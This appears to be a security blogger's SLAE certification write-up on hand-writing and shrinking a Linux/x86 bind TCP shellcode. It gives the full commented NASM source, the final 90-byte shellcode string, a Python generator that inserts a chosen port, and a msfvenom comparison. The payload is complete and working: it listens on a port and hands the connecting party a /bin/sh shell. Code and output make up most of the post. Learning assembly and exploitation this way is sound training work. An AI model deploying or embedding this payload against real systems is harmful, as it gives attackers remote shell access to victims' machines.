doyler@slae:~/slae/_exam/shell_bind_tcp$ nc localhost 4444 id uid=1000(doyler) gid=1000(doyler) groups=1000(doyler),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare) exit doyler@slae:~/slae/_exam/shell_bind_tcp$
While my shellcode was now working at this point, 143 bytes was a bit long for me to stomach.
Most of my optimizations came from unnecessary instructions. For example: zeroing out a register that was already zero, or loading a value into a register that already existed in a different register.
Any time I reference the number of bytes saved, I probably used this disassembler to save time in comparing operations.
The biggest optimization can from my original implementation of the dup() calls. As expected, it is possible to loop through these one by one instead of making each individual call.
First, I attempted to use the ‘loop’ instruction. This isn’t an inclusive loop, so I was unable to call dup for STDIN (0) initially.
; Load 0x2 into ECX as a loop counter, this will be used to loop through STDERR(2), STDOUT(1), and STDIN(0) xor ecx, ecx mov cl, 0x2 dup_loop: mov al, 0x3f int 0x80 loop dup_loop
Additionally, it seems that this call was inefficient and basically deprecated.
You can find the final, shortened version of my application below. I kept the original instructions in comments where possible, so that you can compare the two.
; Filename: shell_bind_tcp.nasm ; Author: Ray Doyle ; Website: https://www.doyler.net global _start section .text _start: ; http://man7.org/linux/man-pages/man2/socket.2.html ; Move 102 (sys_socketcall) into EAX ;xor eax, eax ;mov al, 0x66 ; Push/Pop saves 1 byte push 0x66 pop eax ; Move 1 (SYS_SOCKET) into EBX ;xor ebx, ebx ;mov bl, 0x1 ; Push/Pop saves 1 byte push 0x1 pop ebx ; int sock = socket(AF_INET, SOCK_STREAM, 0); ; Push the variables for the socket() call onto the stack in reverse order ; Push 0 onto the stack (IP - 3rd argument) xor esi, esi push esi ; Push 1 onto the stack (SOCK_STREAM - 2nd argument) ;push 0x1 ; EBX already contains 0x1, saving 1 byte push ebx ; Push 2 onto the stack (AF_INET - 1st argument) push 0x2 ; Move the stack pointer into ECX, to point to the arguments for socket() mov ecx, esp ; Execute the socket() call int 0x80 ; Move the returned file descriptor from EAX to EDI for later usage ;mov edi, eax ; Pop/Xchg moves EAX into EDI as well as popping the 2 (former AF_INET) into EAX for the SYS_BIND argument (same number of bytes) pop edi xchg eax, edi bind: ; http://man7.org/linux/man-pages/man2/bind.2.html ; Move 102 (sys_socketcall) into EAX ;xor eax, eax ; EAX was cleared by the previous xchg, saving 2 bytes ;mov al, 0x66 ; Moving this into bl, to swap with EAX mov bl, 0x66 ; Move 2 (SYS_BIND) into EBX ;xor ebx, ebx ;mov bl, 0x2 ; EAX already contains 0x2 and EBX contains 0x66, the xchg puts them in the correct register (saving 3 bytes) xchg eax, ebx ; struct sockaddr_in address; ; address.sin_family = AF_INET; ; address.sin_addr.s_addr = INADDR_ANY; ; address.sin_port = htons(PORT); ; Creating the sockaddr_in structure ; Push 0 (INADDR_ANY) onto the stack ;xor esi, esi ; ESI is already 0, saving 2 bytes push esi ; Push 4444 (PORT) onto the stack push word 0x5c11 ; Port number in network byte (big endian) order = 4444 ; Push 2 (AF_INET) onto the stack ;push word 0x2 ; EBX already contains 0x2, saving 1 byte push word bx ; Move the stack pointer into ECX, to point to the sockaddr_in struct mov ecx, esp ; bind(sock, (struct sockaddr *)&address, sizeof(address)); ; Push 16 (the length of the address struct) onto the stack - 3rd argument push 0x10 ; Push ECX (the pointer to the address structure) onto the stack - 2nd argument push ecx ; Push EDI (the saved file descriptor for the socket) onto the stack - 1st argument push edi ; Move the stack pointer into ECX, to point to the arguments for bind() mov ecx, esp ; Execute the bind() call int 0x80 listen: ; http://man7.org/linux/man-pages/man2/listen.2.html ; Move 102 (sys_socketcall) into EAX ;xor eax, eax ; EAX is already empty except for the lowest register, saving 2 bytes mov al, 0x66 ; Move 4 (SYS_LISTEN) into EBX ;xor ebx, ebx ; EBX is already empty except for the lowest register, saving 2 bytes mov bl, 0x4 ; listen(sock, 0); ; Push 0 (backlog) onto the stack - 2nd argument ;xor esi, esi ; ESI is still empty, saving 2 bytes push esi ; Push EDI (sockfd) onto the stack - 1st argument push edi ; Move the stack pointer into ECX, to point to the arguments for listen() mov ecx, esp ; Execute the listen() call int 0x80 accept: ; http://man7.org/linux/man-pages/man2/accept.2.html ; Move 102 (sys_socketcall) into EAX ;xor eax, eax ; EAX is already empty except for the lowest register, saving 2 bytes mov al, 0x66 ; Move 5 (SYS_ACCEPT) into EBX ;xor ebx, ebx ; EBX is already empty except for the lowest register, saving 2 bytes ;mov bl, 0x5 ; EBX already contains 0x4, increment saves 1 byte inc ebx ; int new_sock = accept(sock, NULL, NULL); ; Push 0 (addrlen) onto the stack - 3rd argument ;xor esi, esi ; ESI is still empty, saving 2 bytes push esi ; Push 0 (addr) onto the stack - 2nd argument ;xor esi, esi ; ESI is still empty, saving 2 bytes push esi ; Push EDI (sockfd) onto the stack - 1st argument push edi ; Move the stack pointer into ECX, to point to the arguments for accept() mov ecx, esp ; Execute the accept() call int 0x80 ; Move the returned file descriptor from EAX to EDI for later usaged ;mov edi, eax ; Instead of saving the fd in EDI, put it directly in EBX (argument for sys_dup2), saves 1 byte now even xchg eax, ebx dup: ; http://man7.org/linux/man-pages/man2/dup2.2.html ; Move 63 (sys_dup2) into EAX ;xor eax, eax ; EAX is already empty except for the lowest register, saving 2 bytes ;mov al, 0x3f ; This will be covered by the new loop below ; Original dup code = 40 bytes (including xor eax, eax and mov al, 0x3f) ; New dup loop = 11 bytes (SAVING 29 BYTES TOTAL!) ; ; ; ; ; dup2(new_sock, 0); ; ; Move 0 (STDIN) into ECX - 2nd argument ;xor ecx, ecx ; ; Move EDI (the saved file descriptor for the socket) into EBX - 1st argument ;mov ebx, edi ; ; Execute the dup2() call ;int 0x80 ; ; Move 63 (sys_dup2) into EAX ;xor eax, eax ;mov al, 0x3f ; ; dup2(new_sock, 1); ; ; Move 1 (STDOUT) into ECX - 2nd argument ;xor ecx, ecx ;mov cl, 0x1 ; ; Move EDI (the saved file descriptor for the socket) into EBX - 1st argument ;mov ebx, edi ; ; Execute the dup2() call ;int 0x80 ; ; Move 63 (sys_dup2) into EAX ;xor eax, eax ;mov al, 0x3f ; ; dup2(new_sock, 2); ; ; Move 2 (STDERR) into ECX - 2nd argument ;xor ecx, ecx ;mov cl, 0x2 ; ; Move EDI (the saved file descriptor for the socket) into EBX - 1st argument ;mov ebx, edi ; ; Execute the dup2() call ;int 0x80 ; ; ; ; ; Load 0x2 into ECX as a loop counter, this will be used to loop through STDERR(2), STDOUT(1), and STDIN(0) xor ecx, ecx mov cl, 0x2 dup_loop: mov al, 0x3f int 0x80 dec ecx jns dup_loop execve: ; http://man7.org/linux/man-pages/man2/execve.2.html ; Push the first null dword (terminate the filename) ;xor eax, eax ;push eax ; ESI is already empty, push it onto the stack as the null terminator push esi ; Move 11 (sys_execve) into EAX mov al, 0xb ; execve("/bin/sh", NULL, NULL); ; Push //bin/sh (8 bytes) onto the stack push 0x68732f2f push 0x6e69622f ; Move the stack pointer into EBX, to point to the filename mov ebx, esp ; Move 0 (argv) into ECX ;xor ecx, ecx ; ECX contains 0xffffffff after the dup loop, so increment saves 1 byte inc ecx ; Move 0 (envp) into EDX xor edx, edx ; Execute the execve() call int 0x80
With my application sufficiently shortened, I grabbed the final version of my shellcode using objdump.
doyler@slae:~/slae/_exam/shell_bind_tcp$ objdump -d ./shell_bind_tcp|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' "\x6a\x66\x58\x6a\x01\x5b\x31\xf6\x56\x53\x6a\x02\x89\xe1\xcd\x80\x5f\x97\xb3\x66\x93\x56\x66\x68\x11\x5c\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x56\x57\x89\xe1\xcd\x80\xb0\x66\x43\x56\x56\x57\x89\xe1\xcd\x80\x93\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x56\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x41\x31\xd2\xcd\x80"
When it was all said and done, I had a working shell bind TCP shellcode of length 90! This was a much nicer number than my original 143 bytes, and I was quite proud.
doyler@slae:~/slae/_exam/shell_bind_tcp$ ./shellcode Shellcode Length: 90 ^C
For one last exercise, I wanted to compare my hand-written shellcode to the msfvenom generated version.
As you can see, my shellcode is only 12 bytes longer, which isn’t so bad.
doyler@slae:~/slae/_exam/shell_bind_tcp$ msfvenom -p linux/x86/shell_bind_tcp LPORT=4444 -f raw | ndisasm -u - No platform was selected, choosing Msf::Module::Platform::Linux from the payload No Arch selected, selecting Arch: x86 from the payload No encoder or badchars specified, outputting raw payload Payload size: 78 bytes 00000000 31DB xor ebx,ebx 00000002 F7E3 mul ebx 00000004 53 push ebx 00000005 43 inc ebx 00000006 53 push ebx 00000007 6A02 push byte +0x2 00000009 89E1 mov ecx,esp 0000000B B066 mov al,0x66 0000000D CD80 int 0x80 0000000F 5B pop ebx 00000010 5E pop esi 00000011 52 push edx 00000012 680200115C push dword 0x5c110002 00000017 6A10 push byte +0x10 00000019 51 push ecx 0000001A 50 push eax 0000001B 89E1 mov ecx,esp 0000001D 6A66 push byte +0x66 0000001F 58 pop eax 00000020 CD80 int 0x80 00000022 894104 mov [ecx+0x4],eax 00000025 B304 mov bl,0x4 00000027 B066 mov al,0x66 00000029 CD80 int 0x80 0000002B 43 inc ebx 0000002C B066 mov al,0x66 0000002E CD80 int 0x80 00000030 93 xchg eax,ebx 00000031 59 pop ecx 00000032 6A3F push byte +0x3f 00000034 58 pop eax 00000035 CD80 int 0x80 00000037 49 dec ecx 00000038 79F8 jns 0x32 0000003A 682F2F7368 push dword 0x68732f2f 0000003F 682F62696E push dword 0x6e69622f 00000044 89E3 mov ebx,esp 00000046 50 push eax 00000047 53 push ebx 00000048 89E1 mov ecx,esp 0000004A B00B mov al,0xb 0000004C CD80 int 0x80
There are a few tricks that I cannot quite copy if I want to easily modify the the port number (‘push dword 0x5c110002’).
That said, I’m hoping that I can copy one or two ideas to shorten my next shellcode!
Though it has been a long journey, there is still one more requirement for the assignment:
In this case, I decided to write a Python wrapper program instead of utilizing JMP-CALL-POP. I don’t want people to have to convert a standard port into big-endian.
This Python script will do some checks on the port number and null bytes. If all the checks pass, then the configured shellcode is output.
#!/usr/bin/python # SLAE Exam Assignment #1: Shell Bind TCP Shellcode (Linux/x86) Generator # Author: Ray Doyle (@doylersec) # Website: https://www.doyler.net import struct port = 4444 if port > 65535: print "\nPort is greater than 65535.\n" exit() elif port < 1024: print "\nPort is smaller than 1024. Note that root is required for this.\n" exit() print "\nOriginal port: " + str(port) print "Converted to hexidecimal: " + hex(port)[2:] # https://stackoverflow.com/questions/13261109/python-string-of-binary-escape-sequences-as-literal encodedPort = ''.join(map(lambda c:'\\x%02x'%c, map(ord, struct.pack('!H', port)))) if '\\x00' in encodedPort: print "Port contains null bytes, please modify!" exit() shellcode = ("\\x6a\\x66\\x58\\x6a\\x01\\x5b\\x31\\xf6\\x56\\x53\\x6a" + "\\x02\\x89\\xe1\\xcd\\x80\\x5f\\x97\\xb3\\x66\\x93\\x56\\x66\\x68" + encodedPort + "\\x66\\x53\\x89\\xe1\\x6a\\x10\\x51\\x57\\x89\\xe1\\xcd" + "\\x80\\xb0\\x66\\xb3\\x04\\x56\\x57\\x89\\xe1\\xcd\\x80\\xb0\\x66" + "\\x43\\x56\\x56\\x57\\x89\\xe1\\xcd\\x80\\x93\\x31\\xc9\\xb1\\x02" + "\\xb0\\x3f\\xcd\\x80\\x49\\x79\\xf9\\x56\\xb0\\x0b\\x68\\x2f\\x2f" + "\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x41\\x31\\xd2\\xcd\\x80") print "\nFinal shellcode" print "--------------------" print "\"" + shellcode + "\""
doyler@slae:~/slae/_exam/shell_bind_tcp$ python generate_bind_shellcode.py Original port: 4444 Converted to hexidecimal: 115c Final shellcode -------------------- "\x6a\x66\x58\x6a\x01\x5b\x31\xf6\x56\x53\x6a\x02\x89\xe1\xcd\x80\x5f\x97\xb3\x66\x93\x56\x66\x68\x11\x5c\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x56\x57\x89\xe1\xcd\x80\xb0\x66\x43\x56\x56\x57\x89\xe1\xcd\x80\x93\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x56\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x41\x31\xd2\xcd\x80"
This was an awesome assignment, though it was a surprising amount of work.
The next few posts will be shorter, but I will be skipping the middle debugging steps.
Please let me know if you have any suggestions for these posts, or my specific answer!
Finally, you can find the code and updates in my GitHub repository.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification:
http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert
Student-ID: SLAE-1212
Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he’s done it all. To show for it, he has obtained an OSCE, OSCP, eCPPT, GXPN, eWPT, eWPTX, SLAE, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!
He currently serves as a Senior Staff Adversarial Engineer for Avalara, and his previous position was a Principal Penetration Testing Consultant for Secureworks.
This page contains links to products that I may receive compensation from at no additional cost to you. View my Affiliate Disclosure page here. As an Amazon Associate, I earn from qualifying purchases.